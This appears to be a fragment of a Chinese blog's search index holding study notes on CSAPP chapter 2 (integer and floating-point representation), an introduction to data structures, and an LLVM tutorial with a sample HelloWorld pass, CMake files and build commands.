3c118a52df5421a6258689\n \n \n \n \n \n 输入密码\n \n \n \n \n \n ","categories":["其它"]},{"title":"《CSAPP》chapter2 信息的表示和处理","url":"/2024/10/26/csapp/csapp-2/","content":"信息存储大多数计算机使用8位的块,或者字节(byte),作为最小的可寻址的内存单位,而不是访问内存中单独的位。机器级程序将内存视为一个非常达的字节数组,称为虚拟内存。内存的每个字节都由一个唯一的数字来标识,称为它的地址,所有可能地址的集合就称为虚拟地址空间。\n\nC语言中一个指针的值(无论它指向一个整数、一个结构或是某个其他程序对象)都是某个存储块的第一个字节的虚拟地址。\n\n十六进制表示法一个字节由8位组成。在二级制表示法中,它的值域是0000000011111111.如果看成十进制整数,它的值域就是0255.\n二进制表示法太冗长,而十进制表示法与位模式的互相转化很麻烦。替代的方法是,以16为基数,或者叫做十六进制数,来表示位模式。\n十六进制使用数字‘0’‘9’以及字符‘A’‘F’来表示16个可能的值。用十六进制书写,一个字节的值域为00~FF。\n在C语言中,以0x或0X开头的数字常量被认为是十六进制的值。\n字数据大小每台计算机都有一个字长,指明指针数据的标称大小。因为虚拟地址是以这样的一个字来编码的,所以字长决定的最重要的系统参数就是虚拟地址空间的最大大小。\n大多数64位机器也可以运行为32位机器编译的程序,这时一种向后兼容。\n计算机和编译器支持多种不同方式的编码的数字格式,如不同长度的整数和浮点数。\n\nC语言支持整数和浮点数的多种数据格式。\n整数或者为有符号的,既可以表示负数、零和正数;或者为无符号的,即只能表示非负数。\n为了避免由于依赖典型大小和不同编译器设置带来的奇怪行为,ISO C99引入了一类数据类型,其数据大小是固定的,不随编译器和机器设置而变化。其他就有数据类型int32_t和int64_t,它们分别为4个字节和8个字节。\n大部分数据类型都编码为有符号数值,除非有前缀关键字unsigned或对确定大小的数据类型使用了特定的无符号声明。\n寻址和字节顺序对于跨越多字节的程序对象,我们必须建立两个规则:这个对象的地址是什么,以及在内存中如何排列这些字节。在几乎所有的机器上,多字节对象都被存储为连续的字节序列,对象的地址为所使用字节中最小的地址。\n排列表示一个对象的字节有两个通用的规则。\n最低有效位在最前面的方式,称为小端法。\n最高有效位在最前面的方式,称为大端法。\n大多数Intel兼容机都只用小端模式。\n一旦选择了特定操作系统,那么字节序列也就固定下来。\n字节序列变得重要的三种情况:\n\n首先是在不同类型的机器之间通过网络传送二进制数据时。\n第二种情况是,当阅读表示整型数据的字节序列时字节顺序也很重要。\n第三种情况是,当编写规避正常的类型系统的程序时。\n\n在C语言中,可以通过使用强制类型转换或联合来允许以一种数据类型引用一个对象,而这种数据类型与创建这个对象时定义的数据类型不同。大多数应用编程都强烈不推荐这种编码技巧,但是它们对系统级编程来说非常有用,甚至是必需的。\n在网络中,字节以大端序进行传输。\n表示字符串C语言中字符串被编码为一个以null(其值为0)字符结尾的字符数组。每个字符都由某个标准编码来表示,最常见的是ASCII字符码。\n在使用ASCII码作为字符码的任何系统上都将得到相同的结果,与字节和字大小规则无关。\n表示代码不同的机器类型使用不同的且不兼容的指令和编码方式。\n二进制代码很少能在不同机器和操作系统组合之间移植。\n计算机系统的一个基本概念就是,从机器的角度来看,程序仅仅只是字节序列。\n布尔代数简介布尔注意到通过将逻辑值TRUE和FALSE编码为二进制值1和0,能够设计出一种代数,以研究逻辑推理的基本原则。\n最简单的布尔代数是在二元集合{0,1}基础上的定义。\n布尔运算~对应于逻辑运算NOT。\n布尔运算&对应于逻辑运算and。\n布尔运算|对应于逻辑运算or。\n布尔运算^对应于逻辑运算异或。\nC语言中的位级表示|(或)\n&(与)\n~(非)\n^(异或)\n确定一个位级表达式的结果最后的方法,就是将十六进制的参数扩展成二进制表示并执行二进制运算,然后再转回十六进制。\nC语言中的逻辑运算||(或)\n&&(与)\n!(非)\nC语言中的移位运算左移运算\nx<<k\nx向左移动k位,丢弃最高的k位,并在右端补k个0\n右移运算\nx>>k\n逻辑右移和算术右移。\n逻辑右移在左端补k个0,得到的结果是。\n算术右移是在左端补k个最高有效位的值,得到的结果是\n几乎所有的编译器/机器组合都对有符号数使用算术右移。\n对于无符号数,右移必须是逻辑的。\n整数表示在本节中,我们描述用位来编码整数的两种不同的方式:一种只能表示非负数,而另一种能够表示负数、零和正数。\n整型数据类型C语言支持多种整型数据类型——表示有限范围的整数。\n根据字节分配,不同的大小所能表示的值的范围是不同的。\n\n32位\n\n\n\n64位\n\n\nC语言标准定义了每种数据类型必须表示的最小的取值范围。\nC和C++都支持有符号(默认)和无符号数。Java只支持有符号数。\n无符号数的编码无符号数采用原码进行编码。\n补码编码用于表示负数值。\n表示负数将最高位至一,并且按位取反后加一得到补码。\n几乎所有的机器都用补码形式来表示有符号整数。\nC库中的文件limits.h定义了一组常量,来限定编译器运行的这台及其的不同整型数据类型的取值范围。\n有符号数和无符号数之间的转换强制类型转换的结果保持位值不变,只是改变了解释这些位的方式。\n将无符号类型转换成有符号类型,底层的位表示保持不变。\n大多数C语言的实现,处理同样字长的有符号数和无符号数之间相互转换的一般规则是:数值可能会改变,但是位模式不变。\nC语言中的有符号数与无符号数C语言支持所有整型数据类型的有符号和无符号运算。\n通常,大多数数字都默认为是有符号的。\nC语言允许无符号数和有符号数之间的转换,大多数系统遵循的原则是底层的为表示保持不变。\n%u无符号显示\t%d有符号显示\n当执行一个运算时,如果它的一个运算数是有符号的而另一个是无符号的,那么C语言会隐式地将有符号参数强制类型转换为无符号数,那么C语言会隐式地将有符号参数强制类型转换为无符号数,并假设这两个数都是非负的,来执行这个运算。\n这种方法对于标准算术运算来说并无多大差异,但是对于像<和>这样的关系运算符来说,它会导致非直观的结果。\n扩展一个数字的位表示一个常见的运算是在不同字长的整数之间转换,同时又保持数值不变。\n要将一个无符号数转换为一个更大的数据类型,我们只要简单地在表示在开头添加0.这种运算被称为零扩展。\n要将一个补码数字转换为一个更大的数据类型,可以执行一个符号扩展,在表示中添加最高有效位的值。\n将不同大小不同类型的数进行转换时,如short转换为unsigned int。我们先要改变大小,之后再完成从有符号到无符号的转换。\n截断数字假设我们不用额外的位来扩展一个数值,而是减少表示一个数字的位数。\n截断一个数字可能会改变它的值——溢出的一种形式。对于一个无符号数,我们可以很容易得出其数值结果。\n截断无符号数\n将数字超过截断位的值直接丢弃。\n截断补码数值\n将数字超过截断位的值直接丢弃。并且转换为有符号数\n关于有符号数与无符号数的建议有符号数到无符号数的隐式强制类型转换导致了某些非直观的行为。而这些非直观的特性经常导致程序错误,并且这种包含隐式强制类型转换的细微差别的错误很难被发现。因为这种强制类型转换是在代码中没有明确指示的情况下发生的, 程序员经常忽视了它的影响\njava消除了无符号数,只允许有符号数的存在\njava的>>>被指定为逻辑右移\n0-1等于最大无符号数\n2^10 = 10^3\n整数运算无符号加法如果两个无符号数相加的和超过类型位数可以表达的最大数就会产生溢出。\n如:\nunsigned char a=255;unsigned char b=1;unsigned char c=a+b;//结果c为0\n\n\n\n补码加法正溢出\n两个正数相加得到负的结果。\n因为位数运算中产生溢出导致向符号位进位,符号位变为1。\n例:\nchar x=127;char y=1;char z=a+b;//z的结果为-128\n\n负溢出\n两个负数相加得到正的结果\n因为位数运算中产生溢出,导致符号位溢出变为0。\n例:\nchar x=-128;char y=-1;char a=x+y;//a的结果为127\n\n\n\n补码的非执行位级补码非的方法是对每一位求补,再对结果加1。由此得到这个数的加法逆元。\n任何数值都有自己的加法逆元。\n数值加上它的加法逆元结果为0。\n无符号乘法\n将一个无符号数截断为w位等价于计算该值模2^w。\n即截断2w位中的低w位\n例:\n x\t\ty \t\tx*y\t\t截断的x*y100\t 101\t 010100\t 100\n\n\n补码乘法将一个补码数截断为位相当于先计算该值模2^w,再把无符号数转换为补码。\n x\t\ty \t\tx*y\t\t截断的x*y100\t 101\t 001100\t 100\n\n\n乘以常数在大多数机器上,整数乘法指令相当慢,需要10个或者更多的时钟周期,然而其它整数运算只需要1个时钟周期。\n因此编译器做了一项重要的优化,试着用移位和加法运算的组合来代替乘以常数因子的乘法。\n例如:\nx*2=x<<1\n例:\nx*1414=2^3+2^2+2^1x*14=x*(2^3+2^2+2^1)=(x<<3)+(x<<2)+(x<<1)x*14=x*(2^4-2^1)=(x<<4)-(x<<1)\n\n\n\n除以2的幂在大多数机器上,整数除法要比整数乘法更慢——需要30个或者更多的时钟周期。\n除以 2 的幕也可以用移位运算来实现,只不过我们用的是右移,而不是左移。无符号和补 码数分别使用逻辑移位和算术移位来达到目的。\n整数除法总是舍入到零。\n除以2的幂的无符号除法\n对无符号运算使用移位是非常简单的,部分原因是由于无符号水的右移一定是逻辑右移。\n例:12340\n\n\n\nk\n>>k\n十进制\n12340/2^k\n\n\n\n0\n0011000000110100\n12340\n12340.0\n\n\n1\n0001100000011010\n6170\n6170\n\n\n4\n0000001100000011\n771\n771.25\n\n\n​除以2的幂的有符号除法\n对于除以2的幂的补码运算来说,情况要稍微复杂一些。首先,为了保证负数仍然为负,移位要执行的是算术右移。\n对于x>=0,变量x的最高有效位为0,所以效果与逻辑右移是一样的。因此,对于非负数来说,算术右移k位与除以2^k是一样的。\n除以2的幂的补码除法,向下舍入\n-12340\n\n\n\nk\n>>k\n十进制\n12340/2^k\n\n\n\n0\n1100111111001100\n-12340\n12340.0\n\n\n1\n1110011111100110\n-6170\n-6170.0\n\n\n4\n1111110011111100\n-772\n-771.25\n\n\n关于整数运算的最后思考正如我们看到的,计算机执行的整数运算实际上是一种模运算形式。表示数字的有限字长限制了可能的值的取值范围,结果运算可能溢出。我们还看到,补码表示提供了 一种既能表示负数也能表示正数的灵活方法,同时使用了与执行无符号算术相同的位级实现,这些运算包括像加法、减法、乘法,甚至除法,无论运算数是以无符号形式还是以补码形式表示的,都有完全一样或者非常类似的位级行为。\n浮点数计算机内部表示实数的方法 \n二进制小数理解浮点数的第一步是考虑含有小数值的二进制数字。\n浮点主要通过移动二进制小数点来表示尽可能大的取值范围。\nIEEE浮点数(-1)^s M 2^E\n\n符号位 s确定了该数字是负数还是正数\t\n尾数 M通常是介于1和2之间的小数\n指数(阶码)E会以2的E次幂形式扩大或缩小尾数值\n\n\nexp是指数域,它编码了E。\n编码表示的值与E的值不同,它只是编码了E\nfrac是尾数字段,它编码了M\n指数E被解释为以偏置形式表示,所以指数E的实际值为exp-bias。\n偏移值bias=2^(k-1)-1,其中k是阶码域的位数。\n所以float指数偏移为bias=127,double是bias=1023\n指数E的值是无符号EXP值减去偏置值bias\n将M规格为1.xxxx,我们相应地调整指数(来进行规格化)\n例:如果我们要表示100.01,我们将小数点左移使之成为1.00。然后我们调整指数来表示这种位移\n尾数域xxxx中的位是二进制小数点右边的所有数字。\n浮点数不止可以用来编码实数,也可以用来编码整数\n\n浮点数有三种情况,其中阶码的值决定了这个属于哪一类。\n当阶码字段的二进制位不全为0,且不全为1时,此时表示的是规格化的值。\n当阶码字段的二进制位全为0时,此时表示的是非规格化的值。\n当阶码字段的二进制位全为1时,表示的数值为特殊值。\n特殊值有两类,一类表示无穷大或无穷小,另外一类表示不是一个数。\n你的笔记已经涵盖了浮点数的各种情况,下面是对这三种情况的详细补充和完善,以帮助你更全面地理解浮点数的表示。\n情况1:规格化的值\n在浮点数的规格化表示中,满足以下条件:\n\n指数(exp)字段的位模式不全为0(表示数值为0);\n指数字段的位模式不全为1(表示特殊数值)。\n\n在这种情况下,阶码字段解释为偏置形式的有符号整数:\n\n[ E = e - \\text{Bias} ]\n其中,( e ) 是无符号数,单精度浮点数的偏置为127,双精度浮点数的偏置为1023。\n\n\n\n因此,指数的取值范围为:\n\n单精度浮点数:[-126, +127]\n双精度浮点数:[-1022, +1023]\n\n小数字段(frac)用于表示一个范围在[0, 1) 的数值,二进制小数点位于最高有效位(MSB)左侧。尾数(M)定义为:\n\n[ M = 1 + f ]\n\n这种表示方式常称为“隐含的以1开头的表示”,因为小数部分 ( f ) 之后会隐含一个1。\n情况2:非规格化的值\n当阶码域全为0时,表示非规格化值。在这种情况下:\n\n指数值 ( E ) 被计算为:\n[ E = 1 - \\text{Bias} ]\n\n\n尾数(M)由小数字段(frac)直接给出:\n[ M = f ]\n\n\n\n非规格化值的存在使得可以表示非常小的数,尤其是接近于0的数。这种表示方式允许浮点数的表示更为连续,尤其在极小数值时,防止了“下溢”的问题。\n情况3:特殊值\n特殊值包括:\n\n零:当exp和frac均为0时,表示正零或负零。正零的符号位为0,负零的符号位为1。\n\n例如,0 00000000 00000000000000000000000 表示正零,1 00000000 00000000000000000000000 表示负零。\n\n\n无穷大:当exp全为1,frac全为0时,表示正无穷大或负无穷大。正无穷大符号位为0,负无穷大符号位为1。\n\n例如,0 11111111 00000000000000000000000 表示正无穷大,1 11111111 00000000000000000000000 表示负无穷大。\n\n\n非数(NaN):当exp全为1且frac不全为0时,表示非数(Not a Number)。这通常在计算错误时产生,如0除以0的情况。\n\n例如,0 11111111 10000000000000000000000 是一个NaN值。\n\n\n\n数字示例在IEEE 754标准中,浮点数的表示形式包括符号位、指数部分和尾数部分。您提供的数字示例可以详细说明这一点。\n\n原始整数: 15213\n二进制表示: 11101101101101\n标准化形式: ( 1.1101101101101 \\times 2^{13} )\n\n在这里,( M = 1.1101101101101 ) 是尾数,frac 是尾数去掉“1.”后面的部分,补齐为23位:\n\nfrac: 11011011011010000000000\n\n指数:\n\n原始指数 ( E = 13 )\n偏移量 ( \\text{bias} = 127 )\n编码后的指数: ( \\text{exp} = 127 + 13 = 140 )\n二进制表示: ( 140 = 10001100 )\n\n\n\n因此,编码后的结果为:\n0 10001100 11011011011010000000000\n\n舍入在浮点数表示中,舍入是确保数值精度的重要过程。根据IEEE 754标准,通常采用向偶数舍入的方法,即当尾数的最后一位为1时,如果其前面的位是0,直接舍去;如果有1存在,则需要向上舍入。通过这种方式,可以减少长期的舍入误差。\n浮点运算浮点运算的基本原则包括:\n\n对齐:在执行运算之前,尾数需要对齐。通常,会根据指数的大小调整尾数,使得它们具有相同的指数。\n计算:在尾数相同的情况下,直接进行加减法运算。\n归一化:结果可能需要归一化,以确保符合标准的浮点数格式。\n舍入:在结果计算完成后,应用舍入规则。\n\nC语言中的浮点数在C语言中,浮点数的类型主要包括 float 和 double:\n\nfloat: 单精度浮点数,通常采用32位表示(1位符号位、8位指数、23位尾数)。\ndouble: 双精度浮点数,通常采用64位表示(1位符号位、11位指数、52位尾数)。\n\n在支持IEEE 754浮点格式的机器上,这些类型直接对应于单精度和双精度浮点。C语言中的浮点数计算通常遵循向偶数舍入的规则,确保在大量运算中保持精度。\n","categories":["CSAPP"],"tags":["读书笔记"]},{"title":"《数据结构和算法》chapter1 数据结构序列","url":"/2024/10/24/data_structure/data-struct-1/","content":"基本概念和术语程序=数据结构+算法\n数据结构是一门研究非数值计算的程序设计问题中的操作对象,以及它们之间的关系和操作等相关问题的学科。\n数据数据:是描述客观事物的符号,是计算机中可以操作的对象,是能被计算机识别,并输入给计算机处理的符号集合。\n数据不仅仅包括整型、实型等数值类型,还包括字符及声音、图像、视频等非数值类型。\n数据元素数据元素:是组成数据的、有一定意义的基本单位,在计算机中通常作为整体处理,也被称为记录。\n在人类这个数据中,人就是数据元素。\n数据项数据项:一个数据元素可以由若干个数据项组成。\n比如:人这样的数据元素由眼睛、嘴巴、耳朵、鼻子等组成。\n数据项是数据不可分割的最小单位。\n数据对象数据对象:是性质相同的数据元素的集合,是数据的子集。\n什么叫性质相同呢,是指数据元素具有相同数量和类型的数据项。\n数据结构简单的理解就是关系。\n不同数据元素之间不是独立的,而是存在特定的关系,我们将这些关系称为结构。\n逻辑结构和物理结构逻辑结构逻辑结构:是指数据对象中数据元素之间的相互关系。\n集合结构集合结构:集合结构中的数据元素除了同属于一个集合外,它们之间没有其他关系。\n线性结构线性结构:线性结构中的数据元素之间是一对一的关系。\n树形结构树形结构:树形结构中的数据元素之间存在一种一对多的层次关系。\n图形结构图形结构:图形结构的数据元素是多对多的关系。\n物理结构\n物理结构:是指数据的逻辑结构在计算机中的存储形式。\n\n顺序存储结构顺序存储结构:是把数据元素放在地址连续的存储单元里,其数据间的逻辑关系和物理关系是一致的。\n链式存储结构链式存储结构:是把数据元素放在任意的存储单元里,这组存储单元可以是连续的,也可以是不连续的。\n数据类型数据类型定义\n抽象是指抽取出事物具有的普遍性的本质。\n\n抽象数据类型\n抽象数据类型(ADT):一个数学模型及定义在该模型上的一组操作。\n\n抽象数据类型体现了程序设计中问题分解、抽象和隐藏的特性。\n抽象数据类型格式:\nADT 抽象数据类型名Data\t数据元素之间逻辑关系的定义Operation操作1\t初始条件\t操作结果描述操作2操作nendADT\n\n数据结构的定义:数据结构是相互之间存在一种或多种特定关系的数据元素的集合。\n","categories":["数据结构和算法"]},{"title":"LLVM","url":"/2024/10/24/binary/llvm/","content":"LLVM 简介LLVM(Low Level Virtual Machine)是一个开源的编译器基础设施项目,旨在提供一个可重用的编译器和工具链技术。它的设计目标是支持编译器的开发,优化和分析,使得开发者能够创建高效的程序和工具。\nLLVM环境搭建预编译包安装编译安装cmake -G "Unix Makefiles" \\ -DLLVM_ENABLE_PROJECTS="clang;llvm;" \\ -DCMAKE_BUILD_TYPE=Release \\ -DLLVM_TARGETS_TO_BUILD="X86" \\ -DBUILD_SHARED_LIBS=On \\ -DLLVM_ENABLE_LLD=ON \\ ../llvmmake -j8\n\nLLVM整体设计llvm 与 gcc\n架构和设计\nLLVM编译器是基于模块化、可扩展的设计,它将编译过程划分为多个独立的阶段,。并使用中间表示(IR)作为通用的数据结构进行代码优化和生成。而GCC编译器则是集成了多个前端和后端的传统编译器,其设计更加紧密一体化\n\n\n开发语言和前端支持\nLLVM编译器使用C++开发,并提供了广泛的前端支持,可以处理多种编程语言(如C、C++、Rust等),这使得开发者能够使用统一的编译框架来处理不同的语言。GCC编译器则使用C语言开发,并对各种编程语言提供了广泛的前端支持。\n\n\n优化功能\nLLVM编译器一起高度模块化的中间表示(IR)为基础,具备强大的代码优化能力。同时,LLVM的设计也使得优化部分可以在编译过程的各个阶段进行,从而实现更细粒度的优化。GCC编译器也提供了一系列的优化选项,但其优化能力相对较低。\n\n\n社区支持和生态系统\nLLVM拥有庞大而活跃的开源社区,并且有很多基于LLVM的工具和项目,如Clang、LLDB等。GCC也有强大的开源社区支持,但相对于LLVM稍显逊色。\n\n\n\nllvm 结构\n前端解析源代码,检查错误,并构建特定于语言的抽象语法树(AST)来表示输入代码。AST 可以选择转换为新的表示形式以进行优化,并且优化器和后端在代码上运行\n优化器负责进行各种转换以尝试提高代码的运行时间,例如消除冗余计算,并且通常或多或少独立于语言和目标\n后端(也称为代码生成器)将代码映射到目标指令集。除了编写正确的代码之外,它还负责生成利用受支持架构的不寻常功能的良好代码。编译器后端的常见部分包括指令选择、寄存器分配和指令调度。\n\n项目组成\nClang:解析 C/C++代码\nMLIR:构建可重用和扩展编译器基础设施的新颖方法\nOpenMP:提供了一个OpenMP运行时库函数\npolly:使用多面体模型实现了一套缓存局部性优化以及自动并行和向量化\nLLDB、libc++、libc++ABI、compiler-rt、libclc、klee、LLD、BOLT\n\n命令/工具\nllc - LLVM静态编译器\nlli - 直接从 LLVM 位码执行程序\nllvm-as - LLVM 编译器\nllvm-dis - LLVM 反编译器\nopt - LLVM 优化器\n\nclang前端\n预处理(Preprocessor):头文件以及宏的处理;\n词法分析(Lexer):词法分析器的任务是从左向右逐行扫描程序的字符,识别出各个单词并确定单词的类型,将识别出的单词转换成统一的机内表示——词法单元(token)形式;\n语法分析(Parser):主要任务是从词法分析器输出的token序列中识别出各类短语,并构造语法分析树。如果输入字符串的各个单词恰好自左至右地站在分析树的各个叶结点上,那么这个词串就是该语言的一个句子,语法分析树描述了句子的语法结构;\n语义分析(Sema):搜集标识符的属性信息与语义检查。标识符的属性种属(kind)、类型(Type)、存储位置和长度、值、作用域、参数和返回值类型。语义检查包括变量或过程未经声明就使用、变量或过程名重复声明、运算分量类型不匹配、操作符与操作数之间的类型不匹配。\n代码生成(CodeGen):将AST转换成相应的llvm代码。\n\nLLVM IR基本概念高级语言经过clang前端会将代码解析为平台无关的中间表示(IR),使编译器能够在编译、链接、以及代码生成的各个阶段忽略语言特性,进行全面有效的优化和分析。\nLLVM基于统一的中间表示来实现优化遍,中间表示采用静态单赋值形式,该形式的虚拟指令集能够高效的表示高级语言,具有灵活性好、类型安全、底层操作等特点。如图所示,当同一变量出现多次赋值时,通过SSA变量重命名的方式加以区分,可以避免出现多次定义的情况。\nIR的设计很大程度体现着LLVM插件化、模块化的设计哲学,LLVM的各种pass其实都是作用在LLVM IR上的。通常情况下,设计一门新的编程语言只需要完成能够生成LLVM IR的编译器前端即可,然后就可以轻松使用 LLVM IR的各种编译优化、JIT支持、目标代码生成等功能。\nIR表示LLVM IR有三种形式:\n\n内存中的表示形式\nbitcode形式\nLLVM汇编文件格式\n\nIR表示:\n\nModule类,Module可以理解为一个完整的编译单元。一般来说,这个编译单元就是一个源码文件。\nFunction类,这个类顾名思义就是对应于一个函数单元。Function可以描述两种情况,分别是函数定义和函数声明。\nBasicBlock类,这个类表示一个基本代码块,“基本代码块”就是一段没有控制流逻辑的基本流程,就相当于程序流程图中的基本过程。\nInstruction类,指令类就是LLVM中定义的基本操作,比如加减乘除这种算数指令、函数调用指令、跳转指令、返回指令等等。\n\n控制流图CFG:\nopt -analyze -dot-cfg-only test.llopt -analyze -dot-cfg test.lldot -Tpng xxx.dot -o 1.pngsz 1.png\n\n代码生成基本概念LLVM 目标无关代码生成器是一个框架,它提供了一套可重用组件,用于将 LLVM 内部表示转换为指定目标的机器代码,可以是汇编形式(适用于静态编译器),也可以是二进制机器代码格式(适用于JIT编译器)。\nLLVM 后端的主要功能是代码生成,因此也叫代码生成器。后端包括若干个代码生成分析转换pass将 LLVM IR转换成特定目标架构的机器代码。\n\n源码结构:\n特定目标的抽象目标描述接口的实现。这些机器描述使用 LLVM 提供的组件,并可以选择提供定制的特定于目标的传递,为特定目标构建完整的代码生成器。目标描述位于lib/Target中。\n用于实现本机代码生成的各个阶段(寄存器分配、调度、堆栈帧表示等)的目标无关算法。此代码位于lib/COdeGen中。\n目标独立组件JIT组件。LLVM JIT 完全独立于目标(使用TargetJITInfo结构来处理特定于目标的问题。独立于目标的JIT的代码位于lib/ExecvtionEngine/JIT中)\n\n\n\nLLVM Passpass 介绍\n第一个 Pass:Hello Pass//=============================================================================// 文件:// HelloWorld.cpp//// 描述:// 访问模块中的所有函数,打印它们的名称和参数数量到标准错误输出。// 严格来说,这是一个分析通道(即函数不会被修改)。但是,为了简化起见,这里没有// print 方法(每个分析通道都应该实现它)。//// 用法:// 新的 PM// opt -load-pass-plugin=libHelloWorld.dylib -passes="hello-world" \\// -disable-output <输入-llvm-文件>////// 许可证: MIT//=============================================================================//包含的头文件:导入了LLVM的各种支持库,包括老式和新式的pass管理器,以及用于输出的库//包含 LLVM 旧版pass管理器的定义#include "llvm/IR/LegacyPassManager.h"//引入 LLVM 的新pass管理器的构建工具#include "llvm/Passes/PassBuilder.h"//包含定义用于插件化pass的接口#include "llvm/Passes/PassPlugin.h"//提供LLVM的输出流支持#include "llvm/Support/raw_ostream.h"using namespace llvm;//将所有代码放在匿名空间中,避免与其他代码冲突namespace {// 该方法实现了该 pass 的功能。//访问器函数//visitor函数:该函数被调用以打印每个函数的名称和参数数量void visitor(Function &F) { errs() << "(llvm-tutor) Hello from: "<< F.getName() << "\\n"; errs() << "(llvm-tutor) number of arguments: " << F.arg_size() << "\\n";}// 新的 PM 实现//pass实现//HelloWorld结构体: 实现了 PassInfoMixin,包含了 run 方法,执行对每个函数的分析。//isRequired: 此函数确保即使函数被标记为 optnone,该pass仍会被执行。struct HelloWorld : PassInfoMixin<HelloWorld> { // 主入口点,接受要运行该 Pass 的 IR 单元(&F)和相应的 Pass 管理器(如果需要可以查询)。 PreservedAnalyses run(Function &F, FunctionAnalysisManager &) { visitor(F); return PreservedAnalyses::all(); }\t// 如果 isRequired 返回 false,那么这个 pass 将会被跳过,针对带有 `optnone` LLVM 属性的函数。请注意,`clang -O0` 会将所有函数标记为 `optnone`。 static bool isRequired() { return true; }};} // namespace//-----------------------------------------------------------------------------// 新的 PM 注册//-----------------------------------------------------------------------------//pass注册//插件信息注册:定义了如何注册pass的插件信息。使用 registerPipelineParsingCallback 注册 hello-world 名称的passllvm::PassPluginLibraryInfo getHelloWorldPluginInfo() { return {LLVM_PLUGIN_API_VERSION, "HelloWorld", LLVM_VERSION_STRING,\t//Lambda表达式 [](PassBuilder &PB) {\t\t//注册回调\t\t//参数\t\t\t//StringRef Name: 命令行中传入的pass名称。\t\t\t//FunctionPassManager &FPM: 用于管理函数pass的工具。\t\t\t//ArrayRef<PassBuilder::PipelineElement>: 管道元素的数组,包含在命令行中指定的pass元素。 PB.registerPipelineParsingCallback( [](StringRef Name, FunctionPassManager &FPM, ArrayRef<PassBuilder::PipelineElement>) { //条件判断,检查传入的名称是否为hello-world,如果匹配则调用FPM.addPass将HelloWorld pass添加到功能pass 管理器中 if (Name == "hello-world") { FPM.addPass(HelloWorld()); return true; } return false; }); }};}// 这是 pass 插件的核心接口。它确保 `opt` 在命令行中通过 '-passes=hello-world' 添加到 pass 流水线时能够识别 HelloWorld。//入口函数//插件接口:这是LLVM加载pass时调用的接口,确保LLVM能够识别 HelloWorld passextern "C" LLVM_ATTRIBUTE_WEAK ::llvm::PassPluginLibraryInfollvmGetPassPluginInfo() { return getHelloWorldPluginInfo();}\n\n使用cmake编译# 设置最低cmake版本cmake_minimum_required(VERSION 3.20.0)# 定义项目名称project(SimpleProject)# 查找 LLVM:使用 find_package 命令查找 LLVM。REQUIRED 表示如果找不到 LLVM,将报错并停止配置过程。CONFIG 表示使用 LLVM 的配置文件。find_package(LLVM REQUIRED CONFIG)# 打印找到的 LLVM 版本:输出找到的 LLVM 版本信息,${LLVM_PACKAGE_VERSION} 是由 find_package 设置的变量。message(STATUS "Found LLVM ${LLVM_PACKAGE_VERSION}")# 打印配置文件路径:输出正在使用的 LLVMConfig.cmake 的路径,${LLVM_DIR} 是包含该文件的目录。message(STATUS "Using LLVMConfig.cmake in: ${LLVM_DIR}")include_directories(${LLVM_INCLUDE_DIRS})separate_arguments(LLVM_DEFINITIONS_LIST NATIVE_COMMAND ${LLVM_DEFINITIONS})# 添加编译定义:将之前分离出的 LLVM 定义添加到编译器选项中,确保在编译时包含所需的宏定义。add_definitions(${LLVM_DEFINITIONS_LIST})# 创建可执行文件:定义一个可执行文件 simple-tool,其源代码为 tool.cpp。add_executable(simple-tool tool.cpp)# 映射 LLVM 组件到库名:使用 llvm_map_components_to_libnames 将指定的 LLVM 组件(support, core, irreader)映射到相应的库名,并存储在 llvm_libs 变量中。llvm_map_components_to_libnames(llvm_libs support core irreader)target_link_libraries(simple-tool ${llvm_libs})# 链接库:将映射到的 LLVM 库链接到可执行文件 simple-tool,确保在编译时可以找到和使用这些库。\n\ncmake_minimum_required(VERSION 3.10)# 项目project(MyLLVMProject)# 查找 LLVM 包。REQUIRED 表示如果找不到 LLVM,CMake会报错并停止构建。# CONFIG 指示 CMake 查找 LLVM 的配置文件。find_package(LLVM REQUIRED CONFIG)# 将 LLVM 的头文件路径添加到编译器的搜索路径中。include_directories(${LLVM_INCLUDE_DIRS})# 创建一个名为 MyPass 的动态库。# 并指定源文件,MODULE 表示该库不会生成可执行文件,而是用于动态加载的插件。add_library(MyPass MODULE my_pass.cpp)# 将 MyPass 库与 LLVM 库链接。target_link_libraries(MyPass PRIVATE ${LLVM_LIBRARIES})\n\n命令行编译命令行编译是最简单暴力的方法,以Hello Pass为例:\n$ clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`\n\n其中\n\nllvm-config提供了CXXFLAGS与LDFLAGS参数方便查找LLVM的头文件与库文件。 如果链接有问题,还可以用llvm-config --libs提供动态链接的LLVM库。 具体llvm-config打印了什么,请自行尝试或查找官方文档。\n-fPIC -shared 显然是编译动态库的必要参数。\n因为LLVM没用到RTTI,所以用-fno-rtti 来让我们的Pass与之一致。\n-Wl,-znodelete主要是为了应对LLVM 5.0+中加载ModulePass引起segmentation fault的bug。如果你的Pass继承了ModulePass,还请务必加上。\n\n现在,你手中应该有一份编译好的LLVMHello.so了。根据刚才阅读过的官方文档的介绍,你知道可以通过命令\n$ clang -c -emit-llvm main.c -o main.bc # 随意写一个C代码并编译到bc格式$ opt -load-pass-plugin ./LLVMHello.so -passes=hello-world demo.bc -o /dev/null\n\n来使用它。\n自动使用Clang运行 Pass当代码文件比较多的时候,你会觉得先把源代码编译成IR代码,然后用opt运行你的Pass实在麻烦且无趣。 恰好在你手头已有一些构建工具时,你可能会想,如果能把Pass集成到clang的参数中调用,那该多好啊。 因为这样你就可以做这样的事情 (假设你的构建工具是autotools):\n$ CC=clang CFLAGS="-arg-to-load-my-pass mypass.so" ./configure$ make\n\n下面这篇文章就告诉了你该怎么做,请仔细阅读。当你读完后,你可能会觉得,这魔法参数也太丑陋了吧。我也觉得。“Maybe this is life”。\nLLVM pass\n现在回头看看前面Hello.cpp,有留意到里面的两行注释吗? static RegisterPass<Hello> X是给opt加载Pass用的, static RegisterStandardPasses Y是给clang加载Pass用的, 有时候两者只要选一个就行了。希望在读完上面这篇文章后你能理解得更深入。\n现在,你可以在clang中直接加载Hello Pass了\n$ clang -Xclang -load -Xclang path/to/LLVMHello.so main.c -o main\n\n当然,你还觉得这不够优雅的话,也可以编写一个clang的wrapper程序hello-clang。 它会读取命令行参数,然后加上-Xclang -load -Xclang path/to/LLVMHello.so构造成新的命令行参数。 最后调用execvp()执行clang。\n举例来说,如果输入hello-clang main.c -o main, 那么它会调整参数,最终执行clang -Xclang -load -Xclang path/to/LLVMHello.so main.c -o main。\n不用我说,你也能想到这个画面:\n$ CC=hello-clang ./configure && make\n\n结合 Clnag 